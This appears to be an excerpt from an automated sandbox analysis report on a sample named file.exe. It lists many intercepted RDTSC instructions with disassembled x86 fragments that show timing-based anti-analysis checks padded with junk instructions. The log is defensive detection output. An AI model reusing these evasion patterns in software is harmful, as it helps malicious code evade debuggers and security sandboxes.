Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0966 second address: 9D097F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348BCFDF3h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D097F second address: 9D0983 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0C0F second address: 9D0C13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0C13 second address: 9D0C35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4348DC2FA4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F4348DC2F96h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0D7B second address: 9D0D91 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4348BCFDE8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0D91 second address: 9D0DA9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4348DC2F9Eh 0x00000008 jo 00007F4348DC2F9Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0EEF second address: 9D0F0A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4348BCFDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4348BCFDF1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0F0A second address: 9D0F0F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0F0F second address: 9D0F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4348BCFDE6h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4348BCFDF7h 0x00000012 jmp 00007F4348BCFDEDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D138A second address: 9D138E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D138E second address: 9D1392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1392 second address: 9D1398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1398 second address: 9D13D0 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4348BCFDFFh 0x00000008 jmp 00007F4348BCFDF7h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4348BCFDF3h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D197A second address: 9D198D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4348DC2F9Ah 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D198D second address: 9D19A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F4348BCFDE8h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007F4348BCFDE6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D19A6 second address: 9D19BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2FA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D01D2 second address: 9D01D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D01D6 second address: 9D01EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007F4348DC2F96h 0x0000000d ja 00007F4348DC2F96h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D01EB second address: 9D01F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ecx 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB084 second address: 9DB088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB088 second address: 9DB09C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348BCFDF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9F18 second address: 9D9F2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2F9Fh 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9F2C second address: 9D9F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4348BCFDEDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9F42 second address: 9D9F4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F4348DC2F96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA38B second address: 9DA38F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA38F second address: 9DA395 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA4B3 second address: 9DA4B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA4B9 second address: 9DA4BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA4BD second address: 9DA4E5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4348BCFDE6h 0x00000008 jmp 00007F4348BCFDF7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9A97 second address: 9D9A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9A9B second address: 9D9A9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9A9F second address: 9D9AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9AA5 second address: 9D9AB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F4348BCFDE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA7B4 second address: 9DA7D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4348DC2F9Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop ebx 0x00000011 push ebx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA7D0 second address: 9DA7DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F4348BCFDE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA8DE second address: 9DA91A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4348DC2FA6h 0x00000009 popad 0x0000000a jmp 00007F4348DC2FA9h 0x0000000f jc 00007F4348DC2F9Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA91A second address: 9DA959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 jmp 00007F4348BCFDF4h 0x0000000c jmp 00007F4348BCFDEBh 0x00000011 jmp 00007F4348BCFDEBh 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007F4348BCFDEAh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA959 second address: 9DA975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4348DC2FA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAB29 second address: 9DAB67 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4348BCFDF0h 0x0000000d pushad 0x0000000e js 00007F4348BCFDE6h 0x00000014 jnc 00007F4348BCFDE6h 0x0000001a jmp 00007F4348BCFDF7h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAB67 second address: 9DAB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE2AA second address: 9DE2B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE2B0 second address: 9DE2CF instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4348DC2F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 jl 00007F4348DC2F96h 0x00000016 pop eax 0x00000017 push eax 0x00000018 pushad 0x00000019 popad 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE2CF second address: 9DE2D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE575 second address: 9DE580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E096F second address: 9E0979 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4348BCFDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E54EE second address: 9E54F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E54F4 second address: 9E5511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4348BCFDF7h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4E1A second address: 9E4E20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4E20 second address: 9E4E52 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4348BCFDF1h 0x0000000f jmp 00007F4348BCFDF7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E522E second address: 9E5236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5236 second address: 9E5240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA7C2 second address: 9EA7C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA7C6 second address: 9EA7DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 je 00007F4348BCFDE6h 0x0000000f jno 00007F4348BCFDE6h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA7DF second address: 9EA7FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F4348DC2F9Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F4348DC2F96h 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9259 second address: 9E9265 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F4348BCFDE6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E94D2 second address: 9E94DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E94DD second address: 9E9506 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push ebx 0x0000000f jmp 00007F4348BCFDF5h 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9506 second address: 9E950C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E950C second address: 9E9510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E97C2 second address: 9E9807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4348DC2F9Bh 0x00000009 jmp 00007F4348DC2FA6h 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push edx 0x00000013 pop edx 0x00000014 jmp 00007F4348DC2FA8h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99CD0C second address: 99CD8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 push eax 0x00000007 je 00007F4348BCFDEEh 0x0000000d jbe 00007F4348BCFDE8h 0x00000013 pushad 0x00000014 popad 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F4348BCFDE8h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 mov ebx, dword ptr [ebp+1247FDC0h] 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 call 00007F4348BCFDE8h 0x0000003e pop edi 0x0000003f mov dword ptr [esp+04h], edi 0x00000043 add dword ptr [esp+04h], 00000015h 0x0000004b inc edi 0x0000004c push edi 0x0000004d ret 0x0000004e pop edi 0x0000004f ret 0x00000050 push ebx 0x00000051 mov edi, 18C5ED76h 0x00000056 pop ecx 0x00000057 add eax, ebx 0x00000059 mov dword ptr [ebp+12474CEBh], esi 0x0000005f mov edx, dword ptr [ebp+1247B4C4h] 0x00000065 push eax 0x00000066 pushad 0x00000067 jmp 00007F4348BCFDEFh 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99CD8D second address: 99CD91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ED692 second address: 9ED696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ED90A second address: 9ED91D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2F9Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EDBAE second address: 9EDBC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F4348BCFDE8h 0x0000000b jc 00007F4348BCFDEEh 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EDBC5 second address: 9EDBCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EDD1E second address: 9EDD2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4348BCFDECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5082 second address: 9F508A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F508A second address: 9F50A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F4348BCFDF4h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F50A3 second address: 9F50B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F4348DC2F96h 0x00000009 jg 00007F4348DC2F96h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F3142 second address: 9F3161 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F4348BCFDF7h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F3161 second address: 9F316F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F4348DC2F96h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F39A2 second address: 9F39A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F39A6 second address: 9F39BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2F9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F3F48 second address: 9F3F4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F3F4E second address: 9F3F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F3F52 second address: 9F3F5C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4348BCFDE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4A51 second address: 9F4A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4A55 second address: 9F4A65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4348BCFDEAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F8B31 second address: 9F8B36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F90AD second address: 9F90B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F90B1 second address: 9F90B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F90B7 second address: 9F90BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9216 second address: 9F921C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F921C second address: 9F9226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4348BCFDE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9226 second address: 9F923D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2FA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F923D second address: 9F9245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9397 second address: 9F93CF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jg 00007F4348DC2F96h 0x00000009 jmp 00007F4348DC2F9Eh 0x0000000e pop edx 0x0000000f push edx 0x00000010 je 00007F4348DC2F96h 0x00000016 pop edx 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push edi 0x0000001a jno 00007F4348DC2FA2h 0x00000020 push ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F951E second address: 9F9522 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F966E second address: 9F968A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4348DC2FA3h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F968A second address: 9F968E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F968E second address: 9F9697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9697 second address: 9F96A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F4348BCFDE6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A062B3 second address: A062C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F4348DC2F96h 0x0000000a jg 00007F4348DC2F96h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A062C4 second address: A062CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
